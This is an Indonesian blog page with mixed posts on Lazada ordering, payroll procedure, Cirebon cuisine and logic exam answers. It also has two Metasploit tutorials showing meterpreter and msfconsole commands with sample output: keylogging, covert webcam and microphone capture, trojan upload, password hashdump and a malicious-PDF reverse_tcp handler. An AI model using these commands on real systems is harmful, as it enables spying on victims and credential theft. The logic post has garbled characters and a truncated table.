Selasa, Agustus 22, 2017

sistem penjualan online di lazada.co.id.


SISTEM PENJUALAN ONLINE LAZADA.CO.ID

Di kesempatan ini saya akan mencoba untuk menjabarkan tentang sistem penjualan online di lazada.co.id.

Lazada.co.id dapat juga disebut dengan toko online adalah sistem penjualan dengan menggunakan jasa internet, berbasis web dan dapat bertransaksi dengan online tanpa adanya tatap muka antara pembeli dan penjual. Ini tentu saja memudahkan para pembeli yang berasal dari daerah yang jauh untuk melakukan transaksi dengan harga yang normal. Tentu saja daerah si pembeli yang jauh akan mempengaruhi lama tidaknya barang yang dibeli sampai ke pembeli tersebut.

Saya akan mencoba menjelaskan tentang langkah-langkah dalam penjualan online yang dilakukan oleh lazada.co.id :

1. Pembeli diharuskan untuk menggunakan internet untuk mengakses ke web lazada.co.id Lalu pembeli memilih/mengklik produk yang diinginkan sesuai dengan daftar produk yang telah disediakan oleh lazada.co.id beserta dengan harganya dan potongan pembelian.

2. Lalu pembeli akan disuguhkan dengan informasi-informasi tentang produk yang dipilih tersebut yaitu tentang spesifikasi produk/konten produk dan ulasan produk yang berisi tentang komentar dan penilaian pemakai lainnya. Selain itu juga disediakan informasi tentang jangka waktu pengiriman yang berbeda di setiap provinsinya dan ketersediaan stok produk tersebut. Jika dipastikan stok produk tersedia dan sesuai dengan keinginan pembeli maka pembeli cukup mengklik tombol “Beli Sekarang” lalu klik. Jika produk tidak sesuai dengan keinginannya maka dapat mengklik tombol “tutup dan lanjutkan belanja”.

3. Langkah selanjutnya adalah pembeli diharuskan mengisi formulir pembelian. Pembeli tetap memilih pilihan “pembeli tetap” dengan mengisi data email dan kata sandi yang sudah terdaftar dan pembeli yang masih baru dan belum pernah melakukan transaksi di lazada harus menginputkan alamat email pembeli  untuk konfirmasi tentang pembelian.

4. Setelah akun email selesai dimasukan/didaftarkan maka langkah selanjutnya yaitu akan secara otomatis masuk ke halaman Informasi Pengiriman, di mana pembeli diminta untuk mengisi alamat pengiriman yang diinginkan, nomor handphone, provinsi, kota, kecamatan. Bagi alamat yang dikenakan ongkos kirim, maka di samping kolom kecamatan akan muncul informasi “Dikenakan ongkos kirim”, sekaligus tertera biaya “Ongkos Kirim”.  Untuk melanjutkan prosesnya, pembeli mengklik tombol "Lanjutkan".

5. Selanjutnya pembeli memilih metode yang pembayaran yang diinginkan. Ada 3 metode yang disediakan lazada.co.id yaitu bayar di tempat, kartu kredit, dan bank transfer. Metode pembayaran “Bayar di tempat” mengharuskan pembeli berada di wilayah yang sudah tercover oleh lazada.co.id. Metode pembayaran “kartu kredit” mengharuskan pembeli untuk mengisi informasi tentang kartu kredit yang diperlukan. Metode pengiriman “bank transfer” mengharuskan pembeli untuk mentransfer harga produk ke bank yang disediakan oleh penjual. Membeli dengan metode bank transfer mengharuskan pembeli untuk mengkomfirmasikan pengiriman uang dengan menu di home lazada "konfirmasi pembayaran".Setelah dipilih metode pembayaran dan mengisi data yang diperlukan maka lazada.co.id akan memberikan kode pemesanan/ nomor order dan jumlah yang harus dibayarkan.

     Berikut adalah Flowchart penjualan online di lazada.co.id :

NB : Barang dikirimkan sesuai dengan ketentuan dari metode pembayaran yang dipilih. Metode "Bayar ditempat", barang akan diterima sesaat kurir lazada mengirimkan produk dan menagih pembayaran.
Metode "Bayar di bank", barang akan diterima setelah uang di transfer dengan jangka waktu yang telah ditentukan sebelumnya. Metode "Kartu kredit", barang akan diterima setelah uang telah didebit ke rekening lazada dengan jangka waktu yang telah ditentukan sebelumnya sesuai dengan wilayah tempat tinggal pembeli.




Minggu, Agustus 20, 2017

 Perintah - Perintah dasar Meterpreter Metasploit


 Perintah - Perintah dasar Meterpreter Metasploit

Pada postingan kali ini saya akan membagikan beberapa perintah-perintah yang dapat dijalankan ketika kita sudah mendapatkan sesi meterpreter dari target yang kita exploit.
Kebetulan kemarin ada yang bertanya juga apa yang bisa kita lakukan jika sudah mendapat sesi meterpreter, jika kita tau perintah-perintahnya banyak yang bisa dilakukan, seperti menjalankan program yang ada di sistem target, mengirim file atau mengambil file-file yang ada di sistem target. nah di bawah ini akan saya berikan beberapa contoh perintah - perintah dasar meterpreter di metasploit

help
Perintah ini digunakan untuk melihat semua menu meterpreter

meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter scriptbackground
Perintah ini digunakan untuk mengirimkan sesi meterpreter berjalan sebagai background
meterpreter > background [*] Backgrounding session 1... msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter >

sysinfo
Perintah ini digunakan untuk melihat informasi sistem target

meterpreter > sysinfo Computer : SAMSUNG OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x86 System Language : en_US Domain : WORKGROUP Logged On Users : 4 Meterpreter : x86/win32

run vnc

Perintah ini digunakan untuk remote sistem target

meterpreter > run vnc [*] Creating a VNC reverse tcp stager: LHOST=192.168.1.100 LPORT=4545 [*] Running payload handler [*] VNC stager executable 73802 bytes long [*] Uploaded the VNC agent to C:\Users\Samsung\AppData\Local\Temp\sccHTQrAIy.exe (must be deleted manually) [*] Executing the VNC agent with endpoint 192.168.1.100:4545...


webcam_list
Perintah ini digunakan untuk melihat list webcam yang ada

meterpreter > webcam_list 1: ManyCam Virtual Webcam 2: HP Webcam-50 meterpreter > webcam_snap
Perintah ini digunakan untuk mengambil gambar dari webcam

meterpreter > webcam_snap [*] Starting... [+] Got frame [*] Stopped Webcam shot saved to: /root/PZegxMLF.jpeg meterpreter >

webcam_stream

Perintah ini digunakan untuk streaming secara langsung dari webcam target

meterpreter > webcam_stream [*] Starting... [*] Preparing player... [*] Opening player at: GHqixCls.html [*] Streaming... record_mic
Perintah ini digunkan untuk mengambil rekaman suara dari microphone target, tambahkan opsi -d utuk menentukan interfal

meterpreter > record_mic -d 10 [*] Starting... [*] Stopped Audio saved to: /root/UqxrMpys.wav meterpreter >

run keylogrecorder

Perintah ini digunakan untuk merekam aktifitas keyboard pada sistem target, tekan Ctrl+C untuke berhenti

meterpreter > run keylogrecorder [*] Starting the keystroke sniffer... [*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.1.103_20160229.0841.txt [*] Recording ^C[*] Saving last few keystrokes [*] Interrupt [*] Stopping keystroke sniffer... meterpreter >

geteuid
perintah ini digunakan untuk melihat user server yang sedang berjalan
meterpreter > getuid Server username: Samsung\Samsung meterpreter > getsid
Perintah ini digunakan untuk mendapatkan SID dari user server yang sedang berjalan

meterpreter > getsid Server SID: S-1-5-21-341670393-1752858153-726497755-1000 meterpreter >

Search

Perintah untuk mencari sebuah file yang ada di sistem target, gunakan opsi -f untuk mencari file dengan format tertentu

meterpreter > search -f .pdf Found 50 results... C:\Users\Samsung\Documents\CV.PDF (136731 bytes) C:\Users\Samsung\DocumentsHowTo.pdf (570012 bytes) C:\Users\Samsung\Documents\pertemuan-04-klasifikasi-jaringan-komputer-compatibility-mode.pdf (149072 bytes) C:\Users\Samsung\Documents\TUTORIAL VERIFIKASI PIN ADSENSE.pdf (1170899 bytes)

'pwd' dan 'cd'

pwd digunakan untuk melihat dimana letak kita berada di direktory target, dan cd untuk masuk ke sebuah direktory

meterpreter > pwd C:\ meterpreter > cd Users meterpreter > pwd C:\Users meterpreter > ls 
Sama dengan perintah pada terminal linux, ini digunakan untuk melihat list dari suatu direktory
meterpreter > ls Listing: C:\Users\Samsung\Documents ====================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2016-02-09 17:41:36 +0700 Bluetooth Folder 100666/rw-rw-rw- 136731 fil 2015-11-24 03:55:43 +0700 CV.PDF 100666/rw-rw-rw- 1992 fil 2016-02-03 17:26:41 +0700 Default.rdp 100666/rw-rw-rw- 73216 fil 2016-01-16 17:22:29 +0700 Drawing1 FLOW EGA.vsd 100666/rw-rw-rw- 570012 fil 2015-12-02 17:39:08 +0700 HowTo.pdf 100666/rw-rw-rw- 1170899 fil 2015-12-14 19:50:58 +0700 TUTORIAL VERIFIKASI PIN ADSENSE.pdf 100666/rw-rw-rw- 8251365 fil 2015-11-23 14:11:54 +0700 Untitled.pdf 40777/rwxrwxrwx 0 dir 2015-11-23 11:09:39 +0700 penggajian_Taruna_Karya 100666/rw-rw-rw- 149072 fil 2015-12-06 21:53:04 +0700 pertemuan-04-klasifikasi-jaringan-komputer-compatibility-mode.pdf 100666/rw-rw-rw- 20505 fil 2016-01-12 14:56:55 +0700 recruitingindo511.docx meterpreter > download
Perintah ini digunakan untuk mengambil file dari sistem target

meterpreter > download Default.rdp /root/Desktop/ [*] downloading: Default.rdp -> /root/Desktop/Default.rdp [*] download : Default.rdp -> /root/Desktop/Default.rdp meterpreter >

/root/Desktop merupakan letak dimana file akan disimpan

upload

Perintah ini digunakan untuk mengirim sebuah file ke sistem target, dengan direktory yang ditetukan

meterpreter > upload trojan.exe c:\\windows\\system32 [*] uploading : trojan.exe -> c:\windows\system32 [*] uploaded : trojan.exe -> c:\windows\system32\trojan.exe meterpreter > 

cat
Sama seperti perintah umumnya pada linux, ini digunakan untuk menampilkan isi dari sebuah file 
meterpreter > cat Usage: cat file meterpreter > cat Anherr.txt Perintah Perintah dasar Meterpreter by Anherr Blog's meterpreter > mkdir

Perintah ini digunakan untuk membuat sebuah folder

meterpreter > mkdir Anherr Creating directory: Anherr meterpreter >  

Kita juga dapat menggunkan peritah 
cp untuk mengcopy file
rm untuk menghapus file
rmdir untuk menghapus suatu direktory 

ipconfig
Perintah ini digunakan untuk meliha ip target secara keseluruhan

meterpreter > ipconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11 ============ Name : Qualcomm Atheros AR9485 802.11b/g/n WiFi Adapter Hardware MAC : 55:7d:68:15:dd:ef MTU : 1500 IPv4 Address : 192.168.1.103 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::cdb0:307a:4cdc:71e4 IPv6 Netmask : ffff:ffff:ffff:ffff::

netstat

Perintah ini digunakan untuk menampilkan koneklsi jaringan pada sistem target

meterpreter > netstat Connection list =============== Proto Local address Remote address State User Inode PID/Program name ----- ------------- -------------- ----- ---- ----- ---------------- tcp 0.0.0.0:135 0.0.0.0:* LISTEN 0 0 808/svchost.exe tcp 0.0.0.0:445 0.0.0.0:* LISTEN 0 0 4/System tcp 0.0.0.0:49152 0.0.0.0:* LISTEN 0 0 480/wininit.exe tcp 0.0.0.0:49153 0.0.0.0:* LISTEN 0 0 904/svchost.exe tcp 0.0.0.0:49154 0.0.0.0:* LISTEN 0 0 984/svchost.exe tcp 0.0.0.0:49155 0.0.0.0:* LISTEN 0 0 608/services.exeps
Perintah ini digunakan untuk meliha list prosses yang sedang berjalan pada target

meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System 276 smss.exe 376 Ath_CoexAgent.exe 2968 taskhost.exe x86 1 Samsung\Samsung C:\Windows\system32\taskhost.exe 2976 dwm.exe x86 1 Samsung\Samsung C:\Windows\system32\Dwm.exe 3024 explorer.exe x86 1 Samsung\Samsung C:\Windows\Explorer.EXE

migrate

Perintah ini digunakan untuk berpindah ke prosses yang lain

meterpreter > migrate 3024 [*] Migrating from 1192 to 3024... [*] Migration completed successfully. meterpreter >

execute

Perintah untuk mengeksekusi, contoh untuk menjalankan cmd.exe

meterpreter > execute -f cmd.exe Process 316 created. meterpreter >

shell

Perintah ini digunakan untuk mendapatkan shell dari sistem target, layaknya Command Prompt

meterpreter > shell Process 3456 created. Channel 3 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>

hashdump

Perintah ini digunakan untuk dump database SAM

meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes... Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3::: dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9::: victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d::: Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\>

Itulah beberapa contoh dari perintah-perintah meterpreter di metasploit, sebetulnya masih ada lagi namun akan banyak jika ditulis semua, hehe , silahkan ketik help pada meterpreter untuk melihat semua list yang ada
Cukup itu dulu yang dapat saya bagikan kali ini , semoga bermanfaat

sumber www.offensive-security.com

...

 Perintah - Perintah dasar Metasploit (msfconsole)

 Perintah - Perintah dasar Metasploit (msfconsole)

Setelah sebelumnya saya share tentang Perintah - Perintah dasar Meterpreter sekarang saya akan bagikan Perintah - Perintah dasar Metasploit (msfconsole). kebalik ya hehe, harusnya msfconsole dulu baru meterpreter, tapi gpp deh yang penting tetep sharing :D.

Oke, di bawah ini merupakan beberapa perintah dari msfconsole yang dapat digunakan

msfconsole
Perintah untuk memulai menjalankan msfconsole

banner

Perintah ini digunakan untuk memilih secara acak logo metasploit yang akan di tampilkan

msf > banner MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMM MMMMMMMMMM MMMN$ vMMMM MMMNl MMMMM MMMMM JMMMM MMMNl MMMMMMMN NMMMMMMM JMMMM MMMNl MMMMMMMMMNmmmNMMMMMMMMM JMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMMMMMMMMMMMMMMMMMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMMM MMMMMMM MMMMM jMMMM MMMNI MMMNM MMMMMMM MMMMM jMMMM MMMNI WMMMM MMMMMMM MMMM# JMMMM MMMMR ?MMNM MMMMM .dMMMM MMMMNm `?MMM MMMM` dMMMMM MMMMMMN ?MM MM? NMMMMMN MMMMMMMMNe JMMMMMNMMM MMMMMMMMMMNm, eMMMMMNMMNMM MMMMNNMNMMMMMNx MMMMMMNMMNMMNM MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM http://metasploit.pro Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro Learn more on http://rapid7.com/metasploit =[ metasploit v4.11.4-2015071403 ] + -- --=[ 1467 exploits - 840 auxiliary - 232 post ] + -- --=[ 432 payloads - 37 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >

db_status
Perintah ini digunakan untuk mengecek koneksi database postgresql

msf > db_status [*] postgresql connected to msf msf >

show exploit
Perintah ini digunakan untuk melihat semua exploit yang ada di metasploit

msf > show exploits Exploits ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- aix/local/ibstat_path 2013-09-24 excellent ibstat $PATH Privilege Escalation aix/rpc_cmsd_opcode21 2009-10-07 great AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow aix/rpc_ttdbserverd_realpath 2009-06-17 great ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)

show payloads
Perintah ini digunakan untuk melihat semua payload yang ada

msf > show payloads Payloads ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline aix/ppc/shell_interact normal AIX execve Shell for inetd aix/ppc/shell_reverse_tcp normal AIX Command Shell, Reverse TCP Inline

show auxiliary
Perintah ini digunakan untuk menampilkan semua module auxiliary

msf > show auxiliary Auxiliary ========= Name Disclosure Date Rank Description ---- --------------- ---- ----------- admin/2wire/xslt_password_reset 2007-08-15 normal 2Wire Cross-Site Request Forgery Password Reset Vulnerability admin/android/google_play_store_uxss_xframe_rce normal Android Browser RCE Through Google Play Store XFO admin/appletv/appletv_display_image normal Apple TV Image Remote Control admin/appletv/appletv_display_video normal Apple TV Video Remote Control

search name
Perintah ini digunakan untuk mencari sebuah exploit atau module yang disebutkan

msf > search pdf_embedded Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/fileformat/adobe_pdf_embedded_exe 2010-03-29 excellent Adobe PDF Embedded EXE Social Engineering exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs 2010-03-29 excellent Adobe PDF Escape EXE Social Engineering (No JavaScript) msf >

use
Perintah ini digunakan untuk menentukan module exploit yang akan digunakan

msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe msf exploit(adobe_pdf_embedded_exe) >

set payload

Perintah ini untuk menentukan payload yang akan digunakan

msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe msf exploit(adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(adobe_pdf_embedded_exe) >

show targets
Perintah ini digunakan untuk melihat platform target yang dapat diserang dengan exploit yang digunakan

msf exploit(adobe_pdf_embedded_exe) > show targets Exploit targets: Id Name -- ---- 0 Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7 (English) msf exploit(adobe_pdf_embedded_exe) >

show options

Perintah ini digunakan melihat pilihan yang tersedia untuk module atau exploit

msf exploit(adobe_pdf_embedded_exe_nojs) > show options Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs): Name Current Setting Required Description ---- --------------- -------- ----------- EXENAME msf.exe no The Name of payload exe. FILENAME evil.pdf no The output filename. LAUNCH_MESSAGE To view the encrypted content please tick the "Do not show this message again" box and press Open. no The message to display in the File: area Exploit target: Id Name -- ---- 0 Adobe Reader <= v9.3.3 (Windows XP SP3 English) msf exploit(adobe_pdf_embedded_exe_nojs) >

back
Perintah ini digunakan untuk kembali dari konteks saat ini

msf exploit(adobe_pdf_embedded_exe) > back msf >

set LHOST

Perintah ini digunakan untuk mengatur IP Attacker, bisa menggunakan IP Lokal atau IP Publik (tergantung kondisi )

msf exploit(adobe_pdf_embedded_exe) > set LHOST 192.168.1.100 lhost => 192.168.1.100 msf exploit(adobe_pdf_embedded_exe) >

set LPORT

Perintah ini digunakan untuk mengatur port lintener

msf exploit(adobe_pdf_embedded_exe) > set LPORT 443 LPORT => 443 msf exploit(adobe_pdf_embedded_exe) >

set RHOST
Perintah ini digunakan untuk menentukan IP Target, (biasa digunakan untuk jenis exploit tertentu)

msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.1.103 RHOST => 192.168.1.103

unset

Kebalikan dari set perintah ini digunakan untuk membatalkan atau menghapus parameter yang sebelumnya di atur, kita juga dapat menghapus semua variabel dengan perintah 'unset all'

msf exploit(handler) > unset payload android/meterpreter/reverse_tcp Unsetting payload... Unsetting android/meterpreter/reverse_tcp... msf exploit(handler) > unset all Flushing datastore... msf exploit(handler) >

save
Kita juga dapat menyimpan semua setting yang telah di tetapkan,dan semua akan dimuat ketika startup(saat msfconsole di buka) tanpa mengetur semuanya lagi dari awal.
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.100 lhost => 192.168.1.100 msf exploit(handler) > set lport 443 lport => 443 msf exploit(handler) > save Saved configuration to: /root/.msf4/config msf exploit(handler) > exploit
Perintah ini digunakan mengeksekusi module exploit dan menyerang target

msf exploit(handler) > exploit [*] Started reverse handler on 192.168.1.100:443 [*] Starting the payload handler...

exploit -j

Perintah ini digunakan mengeksekusi module exploit dan menyerang target sekaligus bejalan sebagai background

msf exploit(handler) > exploit -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.100:443 [*] Starting the payload handler... msf exploit(handler) >

exploit -z

Hampir sama dengan exploit -j, ini tidak berinteraksi dengan sesi meterpreter ketika exploitasi suskses(otomatis bejalan sebagai background jika exploitasi sukses)

msf exploit(handler) > exploit -z [*] Started reverse handler on 192.168.1.100:443 [*] Starting the payload handler... [*] Sending stage (885806 bytes) to 192.168.1.103 [*] Meterpreter session 2 opened (192.168.1.100:443 -> 192.168.1.103:49272) at 2016-03-02 00:26:39 +0700 [*] Session 1 created in the background. msf exploit(handler) >

sessions -l

Perintah ini digunakan untuk melihat list sesi meterpreter yang sedang aktif (berjalan sebagai background)

msf exploit(handler) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 2 meterpreter x86/win32 SAMSUNG\SAMSUNG @ SAMSUNG 192.168.1.100:443 -> 192.168.1.103:49207 (192.168.1.103) msf exploit(handler) >

sessions -i ID

Perintah ini digunakan untuk berinteraksi kembali dengan sesi meterpreter yang sedang berjalan sebagai background

msf exploit(handler) > sessions -i 2 [*] Starting interaction with 2... meterpreter >

sessions -K

Perintah ini digunakan untuk mematikan semua sesi meterpreter yang sedang aktif

msf exploit(handler) > sessions -K [*] Killing all sessions... [*] 192.168.1.103 - Meterpreter session 2 closed. msf exploit(handler) >

help
Perintah ini digunakan untuk melihat perintah-perintah dan deskripsi yang dapat digunakan pada msfconsole

msf > help Core Commands ============= Command Description ------- ----------- ? Help menu back Move back from the current context banner Display an awesome metasploit banner cd Change the current working directory color Toggle color connect Communicate with a host edit Edit the current module with $VISUAL or $EDITOR exit Exit the console get Gets the value of a context-specific variable getg Gets the value of a global variable go_pro Launch Metasploit web GUI grep Grep the output of another command help Help menu

Itulah beberapa contoh Perintah - Perintah dasar dari msfconsole, mohon maaf apabila ada bebrapa perintah yang masih kurang. semoga bermanfaat.

sumber https://www.offensive-security.com
....
...

Sabtu, Agustus 19, 2017

FLOW CHART SISTEM DAN PROSEDUR PENGGAJIAN


FLOW CHART SISTEM DAN PROSEDUR PENGGAJIAN

Sistem penggajian ini sangat sederhana karena hanya untuk para Pemula yang memerlukan model pembanding penggajian ditempat kerja yang sekarang. Banyak model sistem penggajian yang rumit dan canggih. Termasuk sistem absensinya juga bermacam-macam. Ada yang menggunakan finger print, kartu gesek, ratina mata, atau kartu check clock biasa. 

Semua model sistem absensi karyawan masing-masing mempunyai kelebihan dan kekurangan. Tergantung mana yang lebih cocok untuk digunakan pada Perusahaan setempat. Perusahaan industri pabrikan yang jumlah karyawannya banyak dan Perusahaan jasa yang jumlah Karyawannya kurang dari 100 orang, tentu beda dasar pertimbangannya. Perusahaan yang jumlah Karyawannya sedikit, tentu akan memilih yang lebih canggih karena kemungkinan error alat lebih sedikit. Tapi Perusahaan yang jumlah karyawannya banyak, tentu lebih memilih yang manual atau semi manual.

Model semi manual ini paling tepat untuk pabrikan yang jumlah karyawannya lebih dari 1000 orang. Karaena aabila ada kesalahan mudah ditanggulangi. Tidak menggunakan teknologi yang tinggi sehingga apabila ada kesalahan mudah melakukan perbaikan dan service berkala. Dan yang lebih penting lagi, dengan menggunakan kartu check lock ini bisa dipakai untuk alat bukti (secara fisik) dalma perselisihan perburuhan. Sedangkan yang mengunaka alat elektonik canggih sulit mendapat alat bukti secara fisik karena harus import data dulu dari alatnya, lalu di print dan lain-lain. Bukti model seperti ini sering tidak diakui karyawan yang bermasalah karena dia hanya sebuah rekayasa saja.



FLOW CHART SISTEM DAN PROSEDUR PENGGAJIAN




Keterangan Flowchart:

1. Data kehadiran seluruh karyawan yang sudah berupa rekapan per hari pada tanggal cut off sudah diperiksa ulang tentang kebenarannya dan siap dijadikan data pengajian.

2. Departemen HRD (bagian payroll) menerima data kehadiran yang sudah valid untuk diproses penggajiaannya per orang.

3. Departeman HRD (bagian pajak pph 21) menghitung atau mengkoreksi pajak baik yang gajinya ada kemaikan atau ada perubahan status keluarga (tambah anak atau ada perubahan dari bujang menjadi kawin, dan lain-lain).

4. Departemen HRD (bagian payroll) setelah menrima revisi perhitungan pajak gaji dari bagian pajak, membuat slip gaji dan daftar gaji seluruh karyawan untuk dikoreksi dan dimintakan tanda tangan manager HRD.

5. Departemen keuangan menerima daftar gaji dan slip gaji karyawan departemen HRD untuk dikoreksi secara menyeluruh bak perhitungan gaji take homr pay-ny masing-masing karyawan maupun perhitungan pajak gajinya.

6. Apabila departemen keuangan menemukan ada kesalahan hitung atau salah ketik, harus segera mengembalikannya ke departemen HRD, atau cancel.

7. Apabila departemen keuangan evaluasinya tidak menemukan kesalahan pada daftar gaji atau slip gaji tersebut, maka wajib menandatanganinya dan membuat check tunai atau bilyet giro sebesar jumlah gaji seluruh karyawan dan menyerahkannya pada pimpinan perusahaan.

8. Pimpinan perusahaan menerima dan menandatangani daftar gaji seluruh karyawan check tunai atau bilyet giro untuk transfer gaji vi bank yang ditunjuk.

9. Bank yang ditunjuk menerima daftar gaji dan check/bilyet transfer ke rekening pribadi masing-masing karyawan pada tanggal yang telah ditentukan.

10. Karyawan pada tanggal penggajian yang telah ditentukan, mengambil gajinya melalui ATM yang telah ditunjuk, dengan rentang waktu selama 24 jam per hari.

11. Selesai

Khusus untuk Slip Gaji, banyak Karyawan yang tidak mengambilnya. Karena merasa gajinya sudah benar atau malas untuk mengambilnya. Tapi karena didalam Slip Gaji tersebut juga ada perhitungan pajak Pph 21, maka Dept. HRD harus tetap untuk membuatnya sebagai dokumen pajak atau persiapan untuk dasar menjelaskan komplain Karyawan  atas jumlah gajinya atau pajaknya. Atau juga untuk persiapan apabila sewaktu-waktu diminta oleh Karyawan yang bersangkutan untuk (lampiran) pengajuan kredit ke Bank.


Contoh Model Slip Gaji

.....

Jumat, Agustus 11, 2017

Cirebon, Episode 5


Kalau kamu senang makan dan mencoba aneka makanan khas daerah di Indonesia, jangan lupakan untuk wisata kuliner di Cirebon menjelajahi makanan khas Cirebon yang sudah terkenal lezatnya. Beberapa wisata kuliner Cirebon yang terkenal adalah sebagai berikut:

 

EMPAL GENTONG DAN EMPAL ASEM

empal gentong wisata kuliner di cirebonWisata kuliner Cirebon yang pertama ini mirip gulai dengan isi berupa usus, babat dan daging sapi yang dimasak di dalam periuk tanah liat di atas kayu bakar, lalu disajikan dengan daun kucai dan sambal dari cabai kering giling. Sedangkan empal asem mirip dengan empal gentong, namun jika kuah empal gentong berkuah santan, maka empal asem berkuah bening yang dicampur belimbing wuluh segar. Di sepanjang jalan Ir. H. Djuanda banyak tempat makan wisata kuliner kota Cirebon empal gentong dan empal asem yang terkenal, diantaranya Haji Apud, dan Amarta.

 

SEGA JAMBLANG

Nama Jamblang sebenarnya berasal dari nama daerah di sebelah barat Cirebon tempat asal pedagang yang menjajakan makanan ini pertama kali. Wisata kuliner di Cirebon Sega jamblang ini menggunakan daun jati sebagai bungkus nasinya. Kamu bisa memilih aneka lauk untuk menemani makan sega jamblang ini, biasanya berupa paru, semur hati atu daging, perkedel, sambel goreng kentang, telur, ikan asin, tahu, dan masih banyak lagi. Kamu bisa coba mampir ke Nasi Jamblang Ibu Nur di Jl. Cangkring II no. 45.

 

NASI LENGKO

Wisata kuliner Cirebon berikutnya yang perlu kamu coba juga adalah nasi lengko, yang sebenarnya mirip dengan nasi pecel. Nasi Lengko berisi irisan kecil mentimun, toge, daun bawang, tempe iris, dan tahu yang kemudian disiram bumbu kacang dan ditaburi bawang goreng. Menu ini biasanya dimakan dengan sate kambing muda, yang juga berbumbu kacang. Menjadikan nasi lengko ini wisata kuliner di Cirebon yang tidak boleh dilewatkan.

 

MI KOCLOK

Kalau perut masih cukup, bolehlah lanjut wisata kuliner kota Cirebon berikutnya, mencoba mie koclok, yang dimasak dengan menggoyang-goyangkan wadah (koclok - dalam bahasa setempat). Setelah matang kemudian disiram kuah kaldu yang kental. Kalau kamu pernah ke Dieng / Wonosobo, dan mencicipi mie ongklok, rasanya mirip. Mie koclok disajikan dengan sayuran yang direbus setengah matang dengan potongan telor rebus dan suwiran daging ayam. Cobain ke Mie Koclok Mang Sam, di Pasar Balong, Cirebon.

 

BUBUR SOP AYAM

Wisata kuliner Cirebon yang satu ini tidak terlalu berat, bubur ayam yang berisi suwiran daging ayam, kentang, bihun, sayuran, dan kacang. Apa bedanya dengan bubur ayam biasa? Bedanya adalah wisata kuliner Cirebon bubur sop ayam ini disiram kuah sup ayam sehingga membedakannya dengan bubur ayam.yang biasa kita kenal.

 

Demikianlah, informasi beberapa makanan khas Cirebon untuk kamu coba ketika berwisata ke Cirebon. Wisata kuliner di Cirebon memang sangat menarik, jadi anda layak untuk mencoba berbagai sajian yang ada di Cirebon. Ada tambahan lainnya? Silakan berkomentar ......

Sumber : liburankeren.com

Kamis, Agustus 10, 2017

UTS Logika Informatika


UTS Logika Informatika
1. Tipe soal pertama:
Diberikan simbol untuk beberapa proposisi berikut:
p : Saya suka kuliah logika informatika
q : SBY presiden Ri ke‐7
Dengan menggunakan simbol proposisi diatas, ubahlah kalimat berikut menjadi simbol kalimat logika (Gunakan Notasi englishlike dan konvensional..!):
a) Saya suka kuliah logika informatika
b) Jika Saya suka kuliah logika informatika maka SBY presiden RI ke‐7
jawab :
a). P
b).english like ( If p then q ), konvensional p --> q
2. Tipe soal kedua:
Tentukan truth value dari sentence berikut, dengan menggunakan truth table :
a)       (f and g) if and only if (g and g) Ã¨
f
g
f ^ g
g^g
f^g Ã³ g^g
T
T
T
T
T
T
F
F
F
T
F
T
F
T
F
F
F
F
F
T
b)       if (if p then q) then q
P
Q
P --> Q
(P-->Q) --> Q
T
T
T
T
T
F
F
T
F
T
T
T
F
F
